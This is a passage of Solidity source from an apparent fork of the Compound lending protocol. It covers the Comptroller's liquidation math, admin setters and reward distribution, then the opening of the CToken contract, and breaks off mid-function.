cTokenBalance (mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToDenom, vars.cTokenBalance, vars.sumCollateral); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumBorrowPlusEffects += oraclePrice * borrowBalance (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // Calculate effects of interacting with cTokenModify if (asset == cTokenModify) { // redeem effect // sumBorrowPlusEffects += tokensToDenom * redeemTokens (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // borrow effect // sumBorrowPlusEffects += oraclePrice * borrowAmount (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } } } // These are safe, as the underflow condition is checked first if (vars.sumCollateral > vars.sumBorrowPlusEffects) { return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0); } else { return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral); } } /** * @notice Calculate number of tokens of collateral asset to seize given an underlying amount * @dev Used in liquidation (called in cToken.liquidateBorrowFresh) * @param cTokenBorrowed The address of the borrowed cToken * @param cTokenCollateral The address of the collateral cToken * @param actualRepayAmount The amount of cTokenBorrowed underlying to convert into cTokenCollateral tokens * @return (errorCode, number of cTokenCollateral tokens to be seized in a liquidation) */ function liquidateCalculateSeizeTokens(address cTokenBorrowed, address cTokenCollateral, uint actualRepayAmount) external override returns (uint, uint) { /* Read oracle prices for borrowed and collateral markets */ uint priceBorrowedMantissa = oracle.getUnderlyingPrice(CToken(cTokenBorrowed)); uint priceCollateralMantissa = oracle.getUnderlyingPrice(CToken(cTokenCollateral)); if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) { return (uint(Error.PRICE_ERROR), 0); } /* * Get the exchange rate and calculate the number of collateral tokens to seize: * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral * seizeTokens = seizeAmount / exchangeRate * = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate) */ uint exchangeRateMantissa = CToken(cTokenCollateral).exchangeRateStored(); // Note: reverts on error uint seizeTokens; Exp memory numerator; Exp memory denominator; Exp memory ratio; MathError mathErr; (mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, ratio) = divExp(numerator, denominator); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, seizeTokens) = mulScalarTruncate(ratio, actualRepayAmount); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } return (uint(Error.NO_ERROR), seizeTokens); } /*** Admin Functions ***/ /** * @notice Sets a new price oracle for the comptroller * @dev Admin function to set a new price oracle * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPriceOracle(PriceOracle newOracle) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK); } // Track the old oracle for the comptroller PriceOracle oldOracle = oracle; // Set comptroller's oracle to newOracle oracle = newOracle; // Emit NewPriceOracle(oldOracle, newOracle) emit NewPriceOracle(oldOracle, newOracle); return uint(Error.NO_ERROR); } /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param newCloseFactorMantissa New close factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK); } Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa}); Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa}); if (lessThanOrEqualExp(newCloseFactorExp, lowLimit)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa}); if (lessThanExp(highLimit, newCloseFactorExp)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } uint oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = newCloseFactorMantissa; emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets the collateralFactor for a market * @dev Admin function to set per-market collateralFactor * @param cToken The market to set the factor on * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCollateralFactor(CToken cToken, uint newCollateralFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK); } // Verify market is listed Market storage market = markets[address(cToken)]; if (!market.isListed) { return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS); } Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa}); // Check collateral factor <= 0.9 Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, newCollateralFactorExp)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } // If collateral factor != 0, fail if price == 0 if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(cToken) == 0) { return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE); } // Set market's collateral factor to new collateral factor, remember old value uint oldCollateralFactorMantissa = market.collateralFactorMantissa; market.collateralFactorMantissa = newCollateralFactorMantissa; // Emit event with asset, old collateral factor, and new collateral factor emit NewCollateralFactor(cToken, oldCollateralFactorMantissa, newCollateralFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets maxAssets which controls how many markets can be entered * @dev Admin function to set maxAssets * @param newMaxAssets New max assets * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setMaxAssets(uint newMaxAssets) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK); } uint oldMaxAssets = maxAssets; maxAssets = newMaxAssets; emit NewMaxAssets(oldMaxAssets, newMaxAssets); return uint(Error.NO_ERROR); } /** * @notice Sets liquidationIncentive * @dev Admin function to set liquidationIncentive * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK); } // Check de-scaled min <= newLiquidationIncentive <= max Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa}); Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa}); if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa}); if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } // Save current value for use in log uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa; // Set liquidation incentive to new incentive liquidationIncentiveMantissa = newLiquidationIncentiveMantissa; // Emit event with old incentive, new incentive emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa); return uint(Error.NO_ERROR); } /** * @notice Add the market to the markets mapping and set it as listed * @dev Admin function to set isListed and add support for the market * @param cToken The address of the market (token) to list * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _supportMarket(CToken cToken) external returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK); } if (markets[address(cToken)].isListed) { return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS); } cToken.isCToken(); // Sanity check to make sure its really a CToken markets[address(cToken)] = Market({isListed: true, isComped: false, collateralFactorMantissa: 0}); _addMarketInternal(address(cToken)); emit MarketListed(cToken); return uint(Error.NO_ERROR); } function _addMarketInternal(address cToken) internal { for (uint i = 0; i < allMarkets.length; i ++) { require(allMarkets[i] != CToken(cToken), "market already added"); } allMarkets.push(CToken(cToken)); } /** * @notice Set the given borrow caps for the given cToken markets. Borrowing that brings total borrows to or above borrow cap will revert. * @dev Admin or borrowCapGuardian function to set the borrow caps. A borrow cap of 0 corresponds to unlimited borrowing. * @param cTokens The addresses of the markets (tokens) to change the borrow caps for * @param newBorrowCaps The new borrow cap values in underlying to be set. A value of 0 corresponds to unlimited borrowing. */ function _setMarketBorrowCaps(CToken[] calldata cTokens, uint[] calldata newBorrowCaps) external { require(msg.sender == admin || msg.sender == borrowCapGuardian, "not an admin"); uint numMarkets = cTokens.length; uint numBorrowCaps = newBorrowCaps.length; require(numMarkets != 0 && numMarkets == numBorrowCaps, "invalid input"); for(uint i = 0; i < numMarkets; i++) { borrowCaps[address(cTokens[i])] = newBorrowCaps[i]; emit NewBorrowCap(cTokens[i], newBorrowCaps[i]); } } /** * @notice Admin function to change the Borrow Cap Guardian * @param newBorrowCapGuardian The address of the new Borrow Cap Guardian */ function _setBorrowCapGuardian(address newBorrowCapGuardian) external { require(msg.sender == admin, "not an admin"); // Save current value for inclusion in log address oldBorrowCapGuardian = borrowCapGuardian; // Store borrowCapGuardian with value newBorrowCapGuardian borrowCapGuardian = newBorrowCapGuardian; // Emit NewBorrowCapGuardian(OldBorrowCapGuardian, NewBorrowCapGuardian) emit NewBorrowCapGuardian(oldBorrowCapGuardian, newBorrowCapGuardian); } /** * @notice Admin function to change the Pause Guardian * @param newPauseGuardian The address of the new Pause Guardian * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _setPauseGuardian(address newPauseGuardian) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK); } // Save current value for inclusion in log address oldPauseGuardian = pauseGuardian; // Store pauseGuardian with value newPauseGuardian pauseGuardian = newPauseGuardian; // Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian) emit NewPauseGuardian(oldPauseGuardian, pauseGuardian); return uint(Error.NO_ERROR); } function _setMintPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "not an admin"); mintGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Mint", state); return state; } function _setBorrowPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "not an admin"); borrowGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Borrow", state); return state; } function _setTransferPaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "not an admin"); transferGuardianPaused = state; emit ActionPaused("Transfer", state); return state; } function _setSeizePaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "not an admin"); seizeGuardianPaused = state; emit ActionPaused("Seize", state); return state; } function _become(Unitroller unitroller) public { require(msg.sender == unitroller.admin(), "only unitroller admin can change brains"); require(unitroller._acceptImplementation() == 0, "change not authorized"); } /** * @notice Checks caller is admin, or this contract is becoming the new implementation */ function adminOrInitializing() internal view returns (bool) { return msg.sender == admin || msg.sender == comptrollerImplementation; } /*** Comp Distribution ***/ /** * @notice Recalculate and update COMP speeds for all COMP markets */ function refreshCompSpeeds() public { require(msg.sender == tx.origin, "only externally owned accounts may refresh speeds"); refreshCompSpeedsInternal(); } function refreshCompSpeedsInternal() internal { CToken[] memory allMarkets_ = allMarkets; for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets_[i]; Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()}); updateCompSupplyIndex(address(cToken)); updateCompBorrowIndex(address(cToken), borrowIndex); } Exp memory totalUtility = Exp({mantissa: 0}); Exp[] memory utilities = new Exp[](allMarkets_.length); for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets_[i]; if (markets[address(cToken)].isComped) { Exp memory assetPrice = Exp({mantissa: oracle.getUnderlyingPrice(cToken)}); Exp memory utility = mul_(assetPrice, cToken.totalBorrows()); utilities[i] = utility; totalUtility = add_(totalUtility, utility); } } for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets[i]; uint newSpeed = totalUtility.mantissa > 0 ? mul_(compRate, div_(utilities[i], totalUtility)) : 0; compSpeeds[address(cToken)] = newSpeed; emit CompSpeedUpdated(cToken, newSpeed); } } /** * @notice Accrue COMP to the market by updating the supply index * @param cToken The market whose supply index to update */ function updateCompSupplyIndex(address cToken) internal { CompMarketState storage supplyState = compSupplyState[cToken]; uint supplySpeed = compSpeeds[cToken]; uint blockNumber = getBlockNumber(); uint deltaBlocks = sub_(blockNumber, uint(supplyState.block)); if (deltaBlocks > 0 && supplySpeed > 0) { uint supplyTokens = CToken(cToken).totalSupply(); uint compAccrued = mul_(deltaBlocks, supplySpeed); Double memory ratio = supplyTokens > 0 ? fraction(compAccrued, supplyTokens) : Double({mantissa: 0}); Double memory index = add_(Double({mantissa: supplyState.index}), ratio); compSupplyState[cToken] = CompMarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(blockNumber, "block number exceeds 32 bits") }); } else if (deltaBlocks > 0) { supplyState.block = safe32(blockNumber, "block number exceeds 32 bits"); } } /** * @notice Accrue COMP to the market by updating the borrow index * @param cToken The market whose borrow index to update */ function updateCompBorrowIndex(address cToken, Exp memory marketBorrowIndex) internal { CompMarketState storage borrowState = compBorrowState[cToken]; uint borrowSpeed = compSpeeds[cToken]; uint blockNumber = getBlockNumber(); uint deltaBlocks = sub_(blockNumber, uint(borrowState.block)); if (deltaBlocks > 0 && borrowSpeed > 0) { uint borrowAmount = div_(CToken(cToken).totalBorrows(), marketBorrowIndex); uint compAccrued = mul_(deltaBlocks, borrowSpeed); Double memory ratio = borrowAmount > 0 ? fraction(compAccrued, borrowAmount) : Double({mantissa: 0}); Double memory index = add_(Double({mantissa: borrowState.index}), ratio); compBorrowState[cToken] = CompMarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(blockNumber, "block number exceeds 32 bits") }); } else if (deltaBlocks > 0) { borrowState.block = safe32(blockNumber, "block number exceeds 32 bits"); } } /** * @notice Calculate COMP accrued by a supplier and possibly transfer it to them * @param cToken The market in which the supplier is interacting * @param supplier The address of the supplier to distribute COMP to * @param distributeAll If true, all token will be distributed */ function distributeSupplierComp(address cToken, address supplier, bool distributeAll) internal { CompMarketState storage supplyState = compSupplyState[cToken]; Double memory supplyIndex = Double({mantissa: supplyState.index}); Double memory supplierIndex = Double({mantissa: compSupplierIndex[cToken][supplier]}); compSupplierIndex[cToken][supplier] = supplyIndex.mantissa; if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) { supplierIndex.mantissa = compInitialIndex; } Double memory deltaIndex = sub_(supplyIndex, supplierIndex); uint supplierTokens = CToken(cToken).balanceOf(supplier); uint supplierDelta = mul_(supplierTokens, deltaIndex); uint supplierAccrued = add_(compAccrued[supplier], supplierDelta); compAccrued[supplier] = transferComp(supplier, supplierAccrued, distributeAll ? 0 : compClaimThreshold); emit DistributedSupplierComp(CToken(cToken), supplier, supplierDelta, supplyIndex.mantissa); } /** * @notice Calculate COMP accrued by a borrower and possibly transfer it to them * @dev Borrowers will not begin to accrue until after the first interaction with the protocol. * @param cToken The market in which the borrower is interacting * @param borrower The address of the borrower to distribute COMP to */ function distributeBorrowerComp(address cToken, address borrower, Exp memory marketBorrowIndex, bool distributeAll) internal { CompMarketState storage borrowState = compBorrowState[cToken]; Double memory borrowIndex = Double({mantissa: borrowState.index}); Double memory borrowerIndex = Double({mantissa: compBorrowerIndex[cToken][borrower]}); compBorrowerIndex[cToken][borrower] = borrowIndex.mantissa; if (borrowerIndex.mantissa > 0) { Double memory deltaIndex = sub_(borrowIndex, borrowerIndex); uint borrowerAmount = div_(CToken(cToken).borrowBalanceStored(borrower), marketBorrowIndex); uint borrowerDelta = mul_(borrowerAmount, deltaIndex); uint borrowerAccrued = add_(compAccrued[borrower], borrowerDelta); compAccrued[borrower] = transferComp(borrower, borrowerAccrued, distributeAll ? 0 : compClaimThreshold); emit DistributedBorrowerComp(CToken(cToken), borrower, borrowerDelta, borrowIndex.mantissa); } } /** * @notice Transfer COMP to the user, if they are above the threshold * @dev Note: If there is not enough COMP, we do not perform the transfer all. * @param user The address of the user to transfer COMP to * @param userAccrued The amount of COMP to (possibly) transfer * @return The amount of COMP which was NOT transferred to the user */ function transferComp(address user, uint userAccrued, uint threshold) internal returns (uint) { if (userAccrued >= threshold && userAccrued > 0) { Blo blo = Blo(getCompAddress()); uint bloRemaining = blo.balanceOf(address(this)); if (userAccrued <= bloRemaining) { blo.transfer(user, userAccrued); return 0; } } return userAccrued; } /** * @notice Claim all the comp accrued by holder in all markets * @param holder The address to claim COMP for */ function claimComp(address holder) public { return claimComp(holder, allMarkets); } /** * @notice Claim all the comp accrued by holder in the specified markets * @param holder The address to claim COMP for * @param cTokens The list of markets to claim COMP in */ function claimComp(address holder, CToken[] memory cTokens) public { address[] memory holders = new address[](1); holders[0] = holder; claimComp(holders, cTokens, true, true); } /** * @notice Claim all comp accrued by the holders * @param holders The addresses to claim COMP for * @param cTokens The list of markets to claim COMP in * @param borrowers Whether or not to claim COMP earned by borrowing * @param suppliers Whether or not to claim COMP earned by supplying */ function claimComp(address[] memory holders, CToken[] memory cTokens, bool borrowers, bool suppliers) public { for (uint i = 0; i < cTokens.length; i++) { CToken cToken = cTokens[i]; require(markets[address(cToken)].isListed, "market must be listed"); if (borrowers == true) { Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()}); updateCompBorrowIndex(address(cToken), borrowIndex); for (uint j = 0; j < holders.length; j++) { distributeBorrowerComp(address(cToken), holders[j], borrowIndex, true); } } if (suppliers == true) { updateCompSupplyIndex(address(cToken)); for (uint j = 0; j < holders.length; j++) { distributeSupplierComp(address(cToken), holders[j], true); } } } } /*** Comp Distribution Admin ***/ /** * @notice Set the COMP token address * @param _comp The COMP address */ function _setCompAddress(address _comp) public { require(msg.sender == admin, "not an admin"); emit NewBloAddress(comp, _comp); comp = _comp; } /** * @notice Set the amount of COMP distributed per block * @param compRate_ The amount of COMP wei per block to distribute */ function _setCompRate(uint compRate_) public { require(adminOrInitializing(), "not an admin"); uint oldRate = compRate; compRate = compRate_; emit NewCompRate(oldRate, compRate_); refreshCompSpeedsInternal(); } /** * @notice Add markets to compMarkets, allowing them to earn COMP in the flywheel * @param cTokens The addresses of the markets to add */ function _addCompMarkets(address[] memory cTokens) public { require(adminOrInitializing(), "not an admin"); for (uint i = 0; i < cTokens.length; i++) { _addCompMarketInternal(cTokens[i]); } refreshCompSpeedsInternal(); } function _addCompMarketInternal(address cToken) internal { Market storage market = markets[cToken]; require(market.isListed == true, "comp market is not listed"); require(market.isComped == false, "comp market already added"); market.isComped = true; emit MarketComped(CToken(cToken), true); if (compSupplyState[cToken].index == 0 && compSupplyState[cToken].block == 0) { compSupplyState[cToken] = CompMarketState({ index: compInitialIndex, block: safe32(getBlockNumber(), "block number exceeds 32 bits") }); } if (compBorrowState[cToken].index == 0 && compBorrowState[cToken].block == 0) { compBorrowState[cToken] = CompMarketState({ index: compInitialIndex, block: safe32(getBlockNumber(), "block number exceeds 32 bits") }); } } /** * @notice Remove a market from compMarkets, preventing it from earning COMP in the flywheel * @param cToken The address of the market to drop */ function _dropCompMarket(address cToken) public { require(msg.sender == admin, "not an admin"); Market storage market = markets[cToken]; require(market.isComped == true, "market is not a comp market"); market.isComped = false; emit MarketComped(CToken(cToken), false); refreshCompSpeedsInternal(); } /** * @notice Return all of the markets * @dev The automatic getter may be used to access an individual market. * @return The list of market addresses */ function getAllMarkets() public view returns (CToken[] memory) { return allMarkets; } function getBlockNumber() public view returns (uint) { return block.number; } /** * @notice Return the address of the COMP token * @return The address of COMP */ function getCompAddress() public view returns (address) { return comp; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./ComptrollerInterface.sol"; import "./CTokenInterfaces.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./EIP20Interface.sol"; import "./EIP20NonStandardInterface.sol"; import "./InterestRateModel.sol"; /** * @title Compound's CToken Contract * @notice Abstract base for CTokens * @author Compound */ abstract contract CToken is CTokenInterface, Exponential, TokenErrorReporter { /** * @notice Initialize the money market * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ EIP-20 name of this token * @param symbol_ EIP-20 symbol of this token * @param decimals_ EIP-20 decimal precision of this token */ function initialize(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { require(msg.sender == admin, "only admin may initialize the market"); require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once"); // Set initial exchange rate initialExchangeRateMantissa = initialExchangeRateMantissa_; require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero."); // Set the comptroller uint err = _setComptroller(comptroller_); require(err == uint(Error.NO_ERROR), "setting comptroller failed"); // Initialize block number and borrow index (block number mocks depend on comptroller being set) accrualBlockNumber = getBlockNumber(); borrowIndex = mantissaOne; // Set the interest rate model (depends on block number / borrow index) err = _setInterestRateModelFresh(interestRateModel_); require(err == uint(Error.NO_ERROR), "setting interest rate model failed"); name = name_; symbol = symbol_; decimals = decimals_; // The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund) _notEntered = true; } /** * @notice Transfer `tokens` tokens from `src` to `dst` by `spender` * @dev Called by both `transfer` and `transferFrom` internally * @param spender The address of the account performing the transfer * @param src The address of the source account * @param dst The address of the destination account * @param tokens The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) { /* Fail if transfer not allowed */ uint allowed = comptroller.transferAllowed(address(this), src, dst, tokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed); } /* Do not allow self-transfers */ if (src == dst) { return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED); } /* Get the allowance, infinite for the account owner */ uint startingAllowance = 0; if (spender == src) { startingAllowance = uint(-1); } else { startingAllowance = transferAllowances[src][spender]; } /* Do the calculations, checking for {under,over}flow */ MathError mathErr; uint allowanceNew; uint srcTokensNew; uint dstTokensNew; (mathErr, allowanceNew) = subUInt(startingAllowance, tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED); } (mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH); } (mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) accountTokens[src] = srcTokensNew; accountTokens[dst] = dstTokensNew; /* Eat some of the allowance (if necessary) */ if (startingAllowance != uint(-1)) { transferAllowances[src][spender] = allowanceNew; } /* We emit a Transfer event */ emit Transfer(src, dst, tokens); // unused function // comptroller.transferVerify(address(this), src, dst, tokens); return uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external override nonReentrant returns (bool) { return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external override nonReentrant returns (bool) { return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external override returns (bool) { address src = msg.sender; transferAllowances[src][spender] = amount; emit Approval(src, spender, amount); return true; } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external override view returns (uint256) { return transferAllowances[owner][spender]; } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external override view returns (uint256) { return accountTokens[owner]; } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external override returns (uint) { Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()}); (MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]); require(mErr == MathError.NO_ERROR, "balance could not be calculated"); return balance; } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external override view returns (uint, uint, uint, uint) { uint cTokenBalance = accountTokens[account]; uint borrowBalance; uint exchangeRateMantissa; MathError mErr; (mErr, borrowBalance) = borrowBalanceStoredInternal(account); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } (mErr, exchangeRateMantissa) = exchangeRateStoredInternal(); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa); } /** * @dev Function to simply retrieve block number * This exists mainly for inheriting test contracts to stub this result. */ function getBlockNumber() internal view returns (uint) { return block.number; } /** * @notice Returns the current per-block borrow interest rate for this cToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external override view returns (uint) { return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves); } /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external override view returns (uint) { return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external override nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return totalBorrows; } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external override nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return borrowBalanceStored(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public override view returns (uint) { (MathError err, uint result) = borrowBalanceStoredInternal(account); require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed"); return result; } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return (error code, the calculated balance or 0 if error code is non-zero) */ function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) { /* Note: we do not assert that the market is up to date */ MathError mathErr; uint principalTimesIndex; uint result; /* Get borrowBalance and borrowIndex */ BorrowSnapshot storage borrowSnapshot = accountBorrows[account]; /* If borrowBalance = 0 then borrowIndex is likely also 0. * Rather than failing the calculation with a division by 0, we immediately return 0 in this case. */ if (borrowSnapshot.principal == 0) { return (MathError.NO_ERROR, 0); } /* Calculate new borrow balance using the interest index: * recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex */ (mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex); if (mathErr != 